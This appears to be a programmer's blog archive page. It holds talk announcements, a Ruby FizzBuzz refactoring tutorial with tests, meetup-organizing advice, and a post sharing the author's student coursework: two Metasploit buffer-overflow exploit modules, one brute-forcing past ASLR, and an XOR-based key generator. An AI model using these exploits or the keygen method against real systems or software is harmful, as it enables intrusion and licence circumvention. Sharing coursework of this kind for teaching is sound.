Slides: Going Staff

And somewhat belatedly the slides I presented at the Ruby User Group Berlin February meetup almost 2 weeks ago 😅 I’ve been extremely busy, so sorry for the delay.

“Going Staff” seems to have been one of my most anticipated talks as it’s an interesting topic that is still only picking up. It’s also a topic I’ve been thinking a lot about and that I’m also extremely passionate bout. A 7 page “draft mixed with outline TODO” blog post (more like mini book) is still in my Google drive on the topic. Sadly, there is no recording of the talk and my slides usually lose ~95% of their value without me speaking alongside them. However, I thought I’d still share them. Maybe I’ll get it into a conference so I can share a recording at a later point!

If you want to learn more in the mean time, “The Staff Engineer’s Path” by Tanya Reilly is a very warm recommendation from my side for everyone in engineering – not just staff engineers or those who want to become Staff+ engineers. It does a wonderful job of showcasing the ambiguities and challenges I’ve dealt with on the job & in technical leadership of organizations as a whole.

You can find the slides on speakerdeck, slideshare or download the PDF.

Abstract

What’s up with becoming a Staff Engineer? What does it mean? Is it just for people who want to keep coding? How do you become a Staff Engineer and what does the work entail? What if I told you, that being a Staff engineer actually required a lot of communication and collaboration skills?

In this talk, let’s answer all those questions – as it’s still quite fuzzy what a Staff engineer actually is.

Reexamining FizzBuzz Step by Step – and allowing for more varied rules

Last week I found myself at my old RailsGirls/code curious project group the rubycorns coaching a beginner through the FizzBuzz coding challenge. It was a lot of fun and I found myself itching to implement it again myself as I came up with some ideas about a nice solution given a requirement for arbitrary or changing rules to the game.

I’ve also been working on blog posts helping people interview processes, the next of which will be about Technical Challenges/Code challenges (due to be published tomorrow! edit: Published now!). This is a little extension for that blog post, as an example of going through and improving a coding challenge.

To be clear, I don’t endorse FizzBuzz as a coding challenge. In my opinion something closer to your domain is much more valuable. However, it is (probably) the most well known coding challenge so I wanted to examine it a bit. It is also deceptively simple, and so deserves some consideration.

So, in this blog post let’s start with what FizzBuzz is and then let’s iteratively go through writing and improving it. Towards the end we’ll also talk about possible extensions of the task and how to deal with them. The examples here will be in Ruby, but are easy to transfer to any other programming language. If you’re only here for the code, you can check out the repo.

The FizzBuzz Challenge

The challenge, inspired by a children’s game, originated from the blog post “Using FizzBuzz to Find Developers who Grok Coding” by Imran Ghory back in 2007 – the intent being to come up with a question as simple as possible to check if people can write code.

The problem goes as follows:

Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”.

Simple enough, right? Well, I think it actually checks for some interesting properties and is a good basis for a conversation. To get started, let’s check out a basic solution.

Basic Solution

1.upto(100) do |number|
if (number % 3 == 0) && (number % 5 == 0)
puts "FizzBuzz"
elsif number % 3 == 0
puts "Fizz"
elsif number % 5 == 0
puts "Buzz"
else
puts number
end
end

That one does the job perfectly fine. It prints out the numbers as requested. It also helps to illustrate some of the difficulties with the challenge:

First off, printing out the results is interesting as it is notoriously hard to test (while possible given the correct helpers). It should push a good programmer towards separating the output concern from the business logic concern. So, a good solution should usually feature a separate function fizz_buzz(number) that given any number number either returns the number itself or ”FizzBuzz” etc. according to the rules. This is wonderfully easy to test, but many struggle initially to make that separation of concerns. We’ll get to that in a second.

What I don’t like about the challenge is that it requires knowledge about the modulo operator, as it isn’t commonly used, but you need it to check whether a number is actually divisible. Anyhow, there will be a lot of code like: number % 3 == 0. To avoid repetition and instead speak in the language of the domain it’s much better to extract this functionality into a function divisible_by?(number, divisor). Makes the code read nicer and removes inherent duplication.

Speaking of the division, the order in which you check the conditions (namely, being divisible by 3 and 5, or 15, before the individual checks) is crucial for the program to work and I’ve seen more than one senior engineer stumble upon this.

With that in mind, let’s improve the challenge!

We need to go back

First off, while the previous solution is “perfectly” fine, I’d probably never write it as it’s hard to test – it’s just a script to run and everything is printed to the console. And since I’m a TDD kind of person, that won’t do! I usually start, as teased before, by just implementing a function fizz_buzz(number) – that’s the core of the business logic. The iteration and printing out are just secondary aspects to me, so let’s start there:

module FizzBuzz
module_function
def fizz_buzz(number)
if (number % 3 == 0) && (number % 5 == 0)
"FizzBuzz"
elsif number % 3 == 0
"Fizz"
elsif number % 5 == 0
"Buzz"
else
number
end
end
end
view raw fizz_buzz.rb hosted with ❤ by GitHub
RSpec.describe FizzBuzz do
describe ".fizz_buzz" do
expected = {
1 => 1,
2 => 2,
3 => "Fizz",
4 => 4,
5 => "Buzz",
6 => "Fizz",
11 => 11,
15 => "FizzBuzz",
20 => "Buzz",
60 => "FizzBuzz",
98 => 98,
99 => "Fizz",
100 => "Buzz"
}
expected.each do |input, output|
it "for #{input} expect #{output}" do
expect(FizzBuzz.fizz_buzz(input)).to eq output
end
end
end
end

Much better, and it’s tested! You may think that the test generation from the hash is overdone, but I love how easy it is to adjust and modify test cases. No ceremony, I just add an input and an expected output. Also, yes – tests. When solving a coding challenge tests should usually be a part of it unless you’re explicitly told not to. Testing is an integral skill after all.

Ok, let’s make it a full solution.

Full FizzBuzz

Honestly, all that is required to turn it into a full FizzBuzz solution is a simple loop and output. What is a bit fancier is the integration test I added to go along with it:

module FizzBuzz
# …
def run
1.upto(100) do |number|
puts fizz_buzz(number)
end
end
end
view raw runner.rb hosted with ❤ by GitHub
describe ".run" do
full_fizz_buzz = <<~FIZZY
1
2
Fizz
.. much more …
98
Fizz
Buzz
FIZZY
it "does a full run integration style" do
expect { FizzBuzz.run() }.to output(full_fizz_buzz).to_stdout
end
end
view raw runner_spec.rb hosted with ❤ by GitHub

Simple isn’t it? You may argue that the integration test is too much, but when I can write an integration test as easy as this I prefer to do it. When I write code that generates files, like PAIN XML, I also love to have a full test that makes sure when given the same inputs we get the same outputs. This has the helpful side effect that even minor changes become very apparent in the pull request diff.

Anyhow, the other thing that we see is that our separation of concerns with the fizz_buzz(number) function pushed us to here is that there is only a single puts statement. We separated the output concern from the business logic. Should we want to change the output – perhaps it should be uploaded to an SFTP sever – then there is a single point for us to adjust that in. Of course we could also use dependency injection to make the method of delivery easier to change, but without a hint that we might need it this is likely overdone. Especially since I’d still want to keep the full integration test we just wrote, programs have a tendency to break in the most unanticipated ways.

Keeping up with the Domain

The other thing I complained about initially was the usage of the modulo operator. Truth be told, I only wrote the initial version like this for demonstration purposes – that one has to go. I don’t want to think about what “modulo a number equals 0” means. Whether or not something is divisible is something I understand and can work with. It also removes a fair bit of duplication:

module FizzBuzz
module_function
def fizz_buzz(number)
fizz = divisible_by?(number, 3)
buzz = divisible_by?(number, 5)
if fizz && buzz
"FizzBuzz"
elsif fizz
"Fizz"
elsif buzz
"Buzz"
else
number
end
end
def run
1.upto(100) do |number|
puts fizz_buzz(number)
end
end
def divisible_by?(number, divisor)
number % divisor == 0
end
end
view raw fizz_buzz.rb hosted with ❤ by GitHub

Much better! There is a small optimization here, where we only check the divisibility twice instead of 4 times. It doesn’t fully matter, but when I see the exact same code being run twice in a method and I can remove it without impacting readability I love to do it.

I consider this a good solution. However, now is where the fun of many coding challenges starts – what extension points are there?

Extension Points

Many coding challenges have potential extension points baked in. Some extra features, or, what I almost prefer dealing with, uncertainty and how that might affect software design.

How certain are we that we need the first 100 numbers? How certain are we that we want to print it out on the console? Is there a possibility that we’ll get a 3rd number like 7 and how would that work? How certain are we that it’s the numbers 3, 5 and the words Fizz and Buzz?

Depending on the answers to these question you could go, adjust the challenge to make these easier to change. And with answers I don’t mean you making them up, but in case of a live coding challenge you talking to your interviewers to see what they think. A common case for instance would be that the numbers and strings may change while we’re certain it will be 2 numbers and 2 distinct strings – “product is still trying to figure out the exact numbers and text and they might change in the future as we’re experimenting in the space”.

Let’s run with that for now – we think it will always be 2 numbers but we’re not sure what 2 numbers and we’re also not sure about Fizz and Buzz. What do we do now?

Going Constants

One of the easiest solutions to this is to extract the relevant values to constants or even into a config.

module FizzBuzz
module_function
FIZZ_NUMBER = 3
FIZZ_TEXT = "Fizz"
BUZZ_NUMBER = 5
BUZZ_TEXT = "Buzz"
FIZZ_BUZZ_TEXT = FIZZ_TEXT + BUZZ_TEXT
def fizz_buzz(number)
fizz = divisible_by?(number, FIZZ_NUMBER)
buzz = divisible_by?(number, BUZZ_NUMBER)
if fizz && buzz
FIZZ_BUZZ_TEXT
elsif fizz
FIZZ_TEXT
elsif buzz
BUZZ_TEXT
else
number
end
end
def run
1.upto(100) do |number|
puts fizz_buzz(number)
end
end
def divisible_by?(number, divisor)
number % divisor == 0
end
end
view raw fizz_buzz.rb hosted with ❤ by GitHub

Right, so that got a lot longer and frankly also a bit more confusing. However, it is now immediately apparent where to change the values. That said, we also kept the “FizzBuzz” naming for the constants which may get extra confusing if we changed the text to something like “Zazz”. It’s always a tradeoff, the previous version was definitely more readable. We did get rid of “Magic numbers” and “Magic Strings”. Sadly, due to the nature of the challenge, they are also still very magical as there is no inherent reasoning to them 😅

Something bugs me with this solution though, and that’s the reason why I actually went and implemented it myself again (and wrote this post): There is an obvious relation between FIZZ_NUMBER and FIZZ_TEXT but from a code point of view they are completely separate data structures only held together by naming conventions and their usage together.

Working With Rules

Ideally we’d want a data structure to hold both the text to be outputted and the number that triggers it together. There’s a gazillion ways you could go about this. You could simply use maps, arrays or tuples to hold that data together. As we’re doing Ruby right now, I decided to create an object that holds the rule and can apply itself to a rule – either returning its configured text or nil.

module FizzBuzz
module_function
class Rule
def initialize(output, applicalbe_divisible_by)
@output = output
@applicalbe_divisible_by = applicalbe_divisible_by
end
def apply(number)
@output if divisible_by?(number, @applicalbe_divisible_by)
end
def divisible_by?(number, divisor)
number % divisor == 0
end
end
DEFAULT_RULES = [
Rule.new("Fizz", 3),
Rule.new("Buzz", 5)
].freeze
def fizz_buzz(number, rules = DEFAULT_RULES)
applied_rules = rules.filter_map { |rule| rule.apply(number) }
if applied_rules.any?
applied_rules.join
else
number
end
end
def run(rules = DEFAULT_RULES)
1.upto(100) do |number|
puts fizz_buzz(number, rules)
end
end
end
view raw fizz_buzz.rb hosted with ❤ by GitHub

Now, that’s quite different! Does it work? Well, yes – and the beauty of it is that so far we haven’t altered our API at all so all of these were internal refactorings that work with exactly the same set of tests. Yes, technically this adds additional optional parameters, we’ll get to these later 😉

The most interesting thing about this is that the rule of “if it is divisible by both do X” is gone. Turns out, that rule isn’t really needed:

  • if it is divisible by 3 add “Fizz” to the output
  • if it is divisible by 5 add “Buzz” to the output
  • if it is divisible by neither, just print out the number itself

That works just as well. It means that the order in which we store rules in our DEFAULT_RULES array matters (so we don’t end up with “BuzzFizz”). Of course we need to verify this with our stakeholders/interviewers, but let’s say they agree here. Now, can we allow for even more flexibility with the rules?

Flexible Rules

Now our “stakeholders” might come back and say well, you know what we’re not so sure about just having 2 numbers and their respective outputs. It may be more, it may be less! The good news? This already completely works with our implementation above. However, we should still test it. You can take a look at all the test I wrote over here, I’ll just post the tests here for adding a 3rd rule: 7 and Zazz!

context "with Zazz into the equation" do
zazz_rules = [
FizzBuzz::Rule.new("Fizz", 3),
FizzBuzz::Rule.new("Buzz", 5),
FizzBuzz::Rule.new("Zazz", 7)
]
expected = {
1 => 1,
3 => "Fizz",
5 => "Buzz",
7 => "Zazz",
15 => "FizzBuzz",
21 => "FizzZazz",
35 => "BuzzZazz",
105 => "FizzBuzzZazz"
}
expected.each do |input, output|
it "for #{input} expect #{output}" do
expect(described_class.fizz_buzz(input, zazz_rules)).to eq output
end
end
end
view raw zazz_spec.rb hosted with ❤ by GitHub

As per usual, testing all the different edge cases here is a fun exercise:

  • What is the behavior if no rules are passed?
  • What happens if the exact same rule is applied twice?
  • Can I change the order to make it “BuzzFizz”?

What I also like about this solution is that the rules aren’t actually hard coded but are injected from the outside. That allows us to easily test our system against many different rule configurations. It also allows us to run many different rule configurations in the same system – each user of our FizzBuzz platform could have their own settings for FizzBuzz!

Closing Out

That’s quite a bit of changes we went through here. I want to stress, that you shouldn’t start with the more complex solution as it is definitely harder to understand. You Ain’t Gonna Need It.However, if there are actual additional requirements or credible uncertainty it might be worth it. I ended up implementing it because I wanted to translate that relationship between “3” and “Fizz” explicitly into a data structure, as it feels like an inherent part of the domain. The other properties of it were almost just a by-product.

You can check out the whole code on github and let me know what you think.

Of course, we haven’t handled all extension points here:

  • The range of 1 to 100 is still hard coded, however that is easily remedied if necessary (by passing the range in as a parameter)
  • Our choice of the implementation of Rule hard coded the assumption that rules only ever check the divisibility by a number. We couldn’t easily produce a rule that says “for every odd number output ‘Odd'”. Instead of providing Rule with just a number, we could instead use an anonymous function to make it even more configurable. However, don’t ever forget you ain’t gonna need it – even in a coding challenge. Overengineering is also often bad, hence the conversation with your stakeholders/interviewers is important as for what are “sensible” extension points.
  • The output mechanism is still just puts, as mentioned earlier dependency injecting an object with a specific output method instead would make that more configurable and quite easily so.

Naturally, naming is important and could see some improvement here. However, with completely made up challenges having good naming becomes nigh impossible.

Anyhow, I hope you enjoyed this little journey through FizzBuzz and that it may have been helpful to you. I certainly enjoyed writing that solution 😁

Edit: Earlier versions of the code samples featured bitwise-and (&) instead of the proper and operator (&&) – both work in this context (hence the tests passed) but you should definitely be using &&. Thanks to my friend Jesse Herrick for pointing that out. Yes the featured image is still wrong. I won’t fix it.

Video & Slides: Metaphors are everywhere: Ideas to Improve software development

Back last year in June of 2022 I gave what’s one of my favorite talks (of myself) at the wonderful conference Code Beam A Coruña. It’s a talk where I take some of my interests – Basketball, fiction writing, game development and trading card games – and look what we can learn about software development from them.

The talk was a major hit at the conference, with way more people than normal coming up to me to thank me about it and to talk about it. The video has been online for 10 months, but I just saw it yesterday and I must admit to watching the full talk. I had forgotten quite some aspects of the talk, so it was educational – even for me. Normally, I never watch my talks back – this seemed worth it.

The audio quality isn’t the best, but I hope you might still enjoy it!

You can also find the talk at speakerdeck, slideshare or as a PDF.

Abstract

Let’s embark on a journey together – a journey in which we’ll weave together the realms of basketball, fiction writing, game development and trading card games to explore how these seemingly unrelated domains surprisingly intersect with the world of software development, offering fresh perspectives and insights.

Discover how concepts, strategies, and principles from these diverse domains can enhance your software development skills and creativity. Let’s celebrate the power of interdisciplinary thinking, revealing how diverse interests can invigorate your approach to software development.

Slides: Where do Rubyists go?

I gave my first ever keynote yesterday at Ruby on Ice, which was a lot of fun. A lot of the talk is based on my “Where do Rubyists go?”-survey but also researching and looking into languages. The talk looks into what programming languages Ruby developers learn for work or in their free time, what the major features of those languages are and how that compares to Ruby. What does it tell us about Ruby and our community?

Slides can be viewed here or on speakerdeck, slideshare or PDF

Abstract

Many Rubyists branch out and take a look at other languages. What are similarities between those languages and ruby? What are differences? How does Ruby influence these languages?

Slides: Code, Comments, Concepts, Comprehension – Conclusion?

The following is the first part of my visit to Warsaw in April (sorry for the super late post!). As part of the visit, I also visited Visuality and spent an evening there giving a presentation and discussing the topics afterwards for a long time. We capped it off some board games 😉 I had a great time and the discussions were super interesting.

The talk is a reworked old goldie (“Code is read many more times than written” / “Optimizing for Readability”) and is about readable code and keeping readable code. It’s evolved as I evolve – I learn new things, assign differing importance to different topics and discover entirely new important topicss.

You can view the slides here or on speakerdeck, slideshare or PDF.

 

Before you start to organize a meetup

I’ve been running the Ruby User Group Berlin for over 3 years now. Additionally, I’ve been running the React.js Berlin meetup for about a year now. These are meetups with 60 to 90 attendees per meetup right now (ruby used to be 100+) and rather well known. Also I run the lovely rails girls project group “rubycorns” together with Til, bringing you rorganize.it. As a result I regularly get asked “Tobi, how do I organize a meetup?”. So instead of repeating myself I’ll write up some basic thoughts on organizing meetups of different sizes. This is my own opinion based on my experience, so other advice may vary.

As this came out to be rather large on the first writeup I decided to split it up into three posts as follows:

First meetup I moderated. Photo by @wikimatze (link)
First meetup I organized and moderated (back in 2012). Photo by @wikimatze (link)

So let’s get started with the first one:

So you want to organize a meetup?

First of all: That’s great thanks! It’s a valuable contribution to the community! Before we get into the details of what will define your meetup and how to rune a single meetup, let’s see what you’re getting yourself into.

Organizing a meetup is a reoccurring activity that will eat time and energy. Most of the actual work is done before the meetup when you look for locations, talks and coordinate all of that. Naturally there are also communication channels through which you have to be responsive (which I still sometimes fail at) and be active in announcing and promoting the meetup.

I always feel like it’s not that much work, but it always ends up being more work than I normally think. Some sort of passion/excitement for whatever your meetup is about is required to keep it going and help you pick good talks and have a nice atmosphere.  If you’re reading this because you want to organize a meetup solely for your company’s or your own good my tip is simple: Don’t. People will realize and neither your nor them will enjoy the experience. If you enjoy it yourself, it also won’t feel like work, which is probably why I always underestimate the effort 🙂

Get a team

Also, make sure that you’re not alone – get a team. You’re human, you can’t always deal with everything as there are more important things in life. Be it vacation, sickness or whatever. It’s good to have someone you know to take over the meetup or just to bounce ideas off each other. I mostly do RUG::B by myself these days for instance, but when I need advice or can’t make it I know I can count on Thilo and Nico. And I couldn’t support the rubycorns on a weekly basis which is why I split that with Til. Also sometimes I can’t make it to the react meetup and then Chris & Bodo thankfully take over.

Me (middle) on the first rug_b meetup I moderated (totally nervous). My then organization mentor @freaklikeme to my right. Photo by @wikimatze (link)
Me (middle) on the first rug_b meetup I moderated (totally nervous). My then organization mentor Thilo to my right. Photo by @wikimatze (link)

Also don’t underestimate the “bouncing ideas off each other” part. Should we allow job ads? Is this a suitable talk? Does anyone know a good last minute location? Can we do anything different? It’s vital to have a trusted team to talk about these. Without them the Berlin Code of Conduct would have never seen the light of the day, among other things.

Your Online Identity

Got a team? Great. The next post will talk about what defines your meetup, but you need to get some place to announce it. Your online presence – a website and most likely also a twitter account. Some form of mailing list/forum is also great to have discussions, announce meetups etc.

Lots of meetups are on meetup.com, it is a good place to get started out and be found (there are people that search for meetups only on their home page). However, I don’t really like it (and really want to move the react meetup off there). Meetup gives you messages, comments and a description for scheduled meetups. It’s nice, but for meetups with talks they are missing the whole talk management. E.g. “Which talk proposals do I have?” and “I want to schedule this talk for this meetup”. It’s a hell to manage. Plus the RSVPs are way off, from experience I can tell you that only ~40% to 50% of that people that said they’ll go will actually show up. Plus it costs money. So what are alternatives?

Berlin.js had a nice workflow where they have a github pages website and you submit talks by opening pull requests to the repository to add them to a meetup. I love the simplicity of this. My favorite is on_ruby though, a white label site for ruby communities. It understands what topics are, people can propose them, you can schedule them, there is a maps integration for locations etc. It’s a great solution overall. And I think the site is also open to hosting non ruby meetups. RSVPs have a different “problem” here though, more people show up than are registered 🙂

Our meetup page - containing all important information at a glance: time, venue (with map), topics, attendees and links to share
Our meetup page – containing all important information at a glance: time, venue (with map), topics, attendees and links to share

For twitter, it is a great and easy way for people to get in touch with you and give your speakers and event some coverage before and after the event. I usually tweet talk teasers in the days leading to the event and photos during talks. Also good for ad-hoc communication like “the door is closed, how do we get out?”.

The mailing list/forum is great to discuss topics further, announce the next meetup date (link to website as the “source of truth”), ask for talks and discuss talk ideas. It can also be used for job ads or other discussions.

These days lots of meetups also have a slack group. The ruby berlin one is quite nice (join here), of course you can also go with the good old IRC but that doesn’t seem to be as hip and cool any more.

Also note, that you don’t have to create and manage all of those yourself or by the team. E.g. I created neither the slack nor the IRC, they were created by members of the community.

Recruiters and other promoters

One of the less well known side effects of running meetups is that you are contacted by a variety of people. Most of them are nice and great people. People who want to give a talk, people that ask if they can help you and people who want to host your meetup. Some are less nice and more nagging though. Recruiters want to promote their jobs at your events and others want to advertise their conferences, workshops or whatever. Be prepared for this and settle on a stance how to handle this.

I “inherited” my stance on recruiters from the previous organizers and it is “no recruitment pitches at the meetup”. Speakers can quickly mention that they are hiring, so can host companies but that’s it. There is a [JOB] tag on the mailing list where jobs may be posted. As for events, community events are fine to announce at the meetup others can also go to the mailing list. “Why?” you ask?

Most developers I know are tired of recruiting messages (enough of that on LinkedIn, Xing etc.). Getting them on the mailing list you can just ignore the [JOB] tag or look at them if you’re interested. Devs usually are at meetups to enjoy talks and connect with peers.

My view on this is enforced by the fact that ever so often I meet Berlin Ruby developers telling me that they stopped coming to the Ruby User Group Berlin 5+ years ago. Their reason (so far) always is because there were recruiters at the meetup somewhat aggressively trying to recruit them, which they found very annoying. So much even, that they never came back. Sad, but true.

That said – meetups are about the participants. I’ll gladly offer some stage time to participants looking for jobs or the like, especially Junior developers.

If you think I’m a bit overcautious, some highlights:

  • Startup founder offered 50€+ plus to be allowed to pitch his startup
  • Plenty of lengthy discussions with recruiters and founders about why they can’t pitch at the meetup and no that is not unjust and not excluding them (pro tip: explain your stance once and then don’t engage in lengthy discussions – sadly I still haven’t mastered this)
  • people wanting to organize their “own” Ruby user group Berlin at their office, announcing that “official” ruby user group Berlin meetup on our mailing list
  • people scraping our website for emails, twitter handles etc. and then writing each member recruiting emails/messages, sometimes pretending they were at the same meetup (Oh I wish this only happened once…)

With that said, luckily this remains the exception. Lots of people understand a simple no and carry on with their lives. Then, of course there also are the nice people wanting to help you, being awesome hosts etc which usually outweighs the others.

It’ll all be alright

If you’re worried now – don’t be. Mostly organizing a meetup is fun. That’s why I do it in the end. I always say that every meetup feels like a birthday party to me – so many great people there that I want to talk to all of them! But I can’t talk to them nearly as much as I’d like because in the end I run around and organize things(tm). And the best is seeing the happy people enjoying the meetup.

Also standing on stage as an organizer for the first time will almost certainly feel weird, but don’t despair – you’ll get used to it rather quickly (at least I did). Also not everything has to be perfect, so don’t pressure yourself 🙂

Make sure you have a small team (one person is enough) to back you up, an idea about your online presence and then we’re ready to get going with the second step – figuring out the 5 basics for your meetup, in the next post!

Slides: Optimizing For Readability (Codemotion Berlin 2015)

Yesterday I gave a talk at Codemotion Berlin, it was “Optimizing For Readability” – an updated version of my “Code is read many more times than written”. It features new insights and new organizational practices to keep the code base clean and nice. Abstract:

What do software engineers do all day long? Write code? Of course! But what about reading code, about understanding what’s happening? Aren’t we doing that even more? I believe we do. Because of that code should be as readable as possible! But what does that even mean? How do we achieve readable code? This talk will introduce you to coding principles and techniques that will help you write more readable code, be more productive and have more fun!

CS5j0v_WEAAm7S9.jpg:large
(pictures by Raluca Badoi

And here you can see the slides, sadly there is no video 😦 Slides are CC BY-NC-SA.

Hope you like the code, please leave some feedback. I’d especially love suggestions for a better talk title 🙂

My first ruby script – what was yours?

Can you still remember the first program you ever wrote? The first program you ever wrote in your current favorite language? How far you’ve come and how much you’ve learned since then?

I think it’s important to acknowledge this fact and let people know. Often beginners tell me that they can’t really imagine getting from where they are right now in terms of programming skill to where more experienced people are. Therefore, I think it’s important to show where even experienced developers come from, to give some perspective.

I can’t currently locate the code of the first programs I ever wrote. I exactly know (and still have) my first ruby scripts, though. At that time I was already in the third semester of my bachelor and mostly security focussed in my studies. It was January of 2010 and we had a special task to earn bonus points in the Internet Security course by writing two exploits and a key generator. I decided to use these tasks to learn me some ruby – without reading a book about it or anything. The code is heavily commented, as we had to hand it in and that was one of the requirements.

So here goes the code (unmodified, as handed in). I want to share it to shoe people what horrible unruby-ish code I used to write. I want to encourage you to do the same. Maybe tweet it out with #myfirstrubyscript and a link to a gist or so?

Here is the gist for my first couple of ruby scripts, they are probably easier to read over there as my current blog layout is too narrow: Tobi’s first ruby scripts

The first exploit

The firs exploit was for a service on a provided debian system, that was vulnerable to a buffer overflow. We just had the binary and had to go from there.

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  #
  # This exploit affects the debian Linuxmachine from our IS Special task.
  #
  include Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Istask11',
      'Description'    => %q{
        This explois was made as part of the Internet Security Special Task.
      },
      'Author'         => 'Tobi',
       'Version'        => '$Revision: 5 $',
      'Payload'        =>
        {
          'Space'    => 1540,
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          # Target 0: Linux
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Ret'      => 0xbfffef34,
              'BufSize' => 1640  # as found out by debugging/boomerang
            }
          ],
        ],
      'DefaultTarget' => 0))
       
      #set a default port
      register_options(
      [
        Opt::RPORT(9999)
      ],    self.class)
  end
 
 
  #
  # The exploit method connects to the remote service and sends the payload
  # followed by the fake return address and the nullbyte to end the string (otherwise it'd continue reading data which woould be bad
  #
  def exploit
    connect
 
    print_status ("Start exploiting the vulnerable debianmachine")
    #
    # Build the buffer for transmission
    # the Nops after the payload are somehow necessary (didn't work without them), seems like payloads with push would overwrite themselves
    # so I left NOPs which can be written instead of them (for now there are 100 nops, should be more than enough)
    #
    buf = payload.encoded + make_nops(target['BufSize'] - payload.encoded.length) + [target.ret].pack('V') + "\x00"
    print_status("Sending #{buf.length} byte data")
 
    # Send it off
    sock.put(buf)
    sock.get
 
    handler
 
  end
 
end

The second exploit (ASLR)

This time the target was a gentoo machine I believe (despite what the first comment says), and the special problem was that the machine used ASLR – Address Space Layout Randomization. A technique to prevent buffer overflows as the return address changes. My solution to that is error prone and doesn’t always work, but see for yourselves 🙂

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  #
  # This exploit affects the debian Linuxmachine from our IS Special task.
  # take note of the description as I couldn't find another way in time.
  # possible problem with overloading the process table of gentoo so that afterwards you can't do anything with the shell and it was an excellent DoS-attack....
  #
  include Exploit::Remote::Tcp
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Istask12',
      'Description'    => %q{
        This explois was made as part of the Internet Security Special Task.
     you got to watch the exploit on execution time... as soon as you see a dialog spawn (soemnthing out of the ordinary output) you got to press ctrl + C. afterwards
     through session and session -i you can access the shell again. Yes it does not work with really high addresses, sadly. But than it performs an excellent DoS attack (as well as if you don't press ctrl+c).
      },
      'Author'         => 'Tobi',
       'Version'        => '$Revision: 100 $',  
      'Payload'        =>
        {
          'Space'    => 400,  #should be enough for most of the payloads
          'DisableNops' => true, #disabled cause I want to make them manually so I know how many of them i got before the shellcode starts
          'BadChars' => "\x00",
        },
      'Targets'        =>
        [
          # Target 0: Linux
          [
            'Linux',
            {
              'Platform' => 'linux',
              'Ret'      => 0xbf800000, # stack is 8MB big... main shouldn't push that much data on the stack so that we miss out our desired buffer. Plus stack address always starts oxbf (as only 24 byte are randomized)
              'BufSize' => 1032  # as found out by debugging/boomerang
            }
          ],
        ],
      'DefaultTarget' => 0))
       
      #set a default port
      register_options(
      [
        Opt::RPORT(9999)
      ],    self.class)
  end
 
 
  #
  # this time the enemy is secured by ASLR, fortunately not the PaX one. We'll use brute force (which will unfortunately create to many processes for gentoo to handle).
  #
  def exploit
 
    print_status ("Start exploiting the vulnerable gentoomachine")
    #
    # initialization here we determine a couple of important values
    #
    return_address = target.ret
    nops_after_payload = 12 # 4- aligned
    nops_before_payload = target['BufSize'] - payload.encoded.length - nops_after_payload  
    print_status("nops_before_payload: #{nops_before_payload}")
     
    # initialize the constant part of the buffer (for performancereasons)
    standard_buf = make_nops(nops_before_payload) + payload.encoded + make_nops(nops_after_payload )  
     
    # can't be really sure whether the payloadlength is always 4-aligned (at least I don't think so )
    payload_offset = 4- payload.encoded.length % 4
     
 
     
    # as long as we don't reach a region where our buffer can't be we keep on trying.
    while  (return_address < 0xc0000000)  
      connect
      buf = standard_buf + [return_address].pack('V') + "\x00" #building the buffer with the returnaddress we are currently trying (little Endian)
      print_status("trying address #{return_address} ")
      # Send it off
      sock.put(buf)
      sock.get
      handler
      return_address += (nops_before_payload + payload_offset)# incrementing the returnaddress to try new ones (offset to keep 4-aligned
      disconnect
    end
     
     
  end
 
end

The key generator

The last task was considerably easier than the first two tasks, this time we just had a binary and had to generate keys which this binary would accept. In this code you can see me not using constants, but making up for it with using for loops. And probably lots of other terrible things – didn’t want to look at it too closely 😉

# This is my keygen (Tobias Pfeiffer) - I don't need ascii-art like that lame lethal-guitar guy
 
## the numbers as taken from the binary, which are used to XOR encrypt the key  there
encryptnumbers= [0x45, 0x3A ,0xAB, 0xC8 ,0xCC ,0x15 ,0xE3, 0x7A]
 
# at first we create an array of possible encrypted values for each position (of the key), except the last one (key is 9 chars long)
# sicne ruby doesn't really support multidimensional arrays out of the box we got
# to add an array as an element
possencr = Array.new
for i in 0..7 do
  #we're going to temporarily save the found values here
  temparray = []
  for j in 0..255 do
    keychar = j ^ encryptnumbers[i]
    # if keychar is printable
    if ((keychar >= 32) and (keychar <= 126))
      temparray << j
    end
  end
  possencr << temparray
end
 
# in the resulting array, the first index is also the index of the keys/encryptnumbers
# the values stored and accessible with the second array are alle possible encryptedchars (95 each as found out)
# note that the numbers are in order (lowest number comes first)
# now we try to genereate a key
crypt = Array.new # saves the crypted signs we chose (cause we need them to make the sum
key = Array.new # saves the corresponding keychars
sum = 0
 for i in 0..4 do  #just 4 because later on we try to fix things (with the last 3 chars), this part here is pure random
    crypt[i] = possencr[i][rand(possencr[i].length)]
    # key is automotically printable due to our awesome array
    key[i] = crypt[i] ^ encryptnumbers[i]
    sum+= crypt[i]
  end
   
  # so here will be some magice, we'll use our last 3 chars to adjust the sum in  
  # such a way that it's between 97 and 122.
  # we're lucky, as I found out our last 3 possible encrypted chars, have no holes  
  # in the array, it's 95 elements each and all consecutive
  # 109 = (sum+possencr[5][0]+possencr[6][0]+possencr[7][0]+offset)&255 -- that's just something o remind me how I want to calculate things, 109 because it's the middle of 97 and 122
  offset = 109- ((sum+possencr[5][0]+possencr[6][0]+possencr[7][0])&255)  # &255 ---> take the last byte (least significant)
  if offset <0  
    offset = 256 + offset
  end
   
  # we simbly divide our offset equally to all chars, we could have problems with rounding, but we don't since it's a maximum of +-2 and with 109 we got more than enough space
  index = offset/3
  # now make the damned last three chars!
  for i in 5..7 do
    crypt[i] = possencr[i][index]
    key[i] = crypt[i] ^ encryptnumbers[i]
    sum+= crypt[i]
  end
   
  # we just need the last byte
  sum = sum & 255
  key[8] = sum
 
#make them chars (not numbers)
for i in 0..8 do
  key[i]=key[i].chr
end
# make a string out of the array of chars
key = key.to_s
# output the key - BAM!
puts key

How about you?

What was your first ruby script? Can you still find and share it? If so, please tweet it out with #myfirstrubyscript to show that everyone eventually started small 🙂

Make sure your examples match your claim (case: FP vs. OOP)

I started reading Functional Programming Patterns in Scala and Clojure – a nice book so far. However, right at the beginning in Chapter 1.1 “What is Functional Programming?” the author compares an object-oriented implementation with  a functional implementation. Here is the code, first object-oriented (Java):

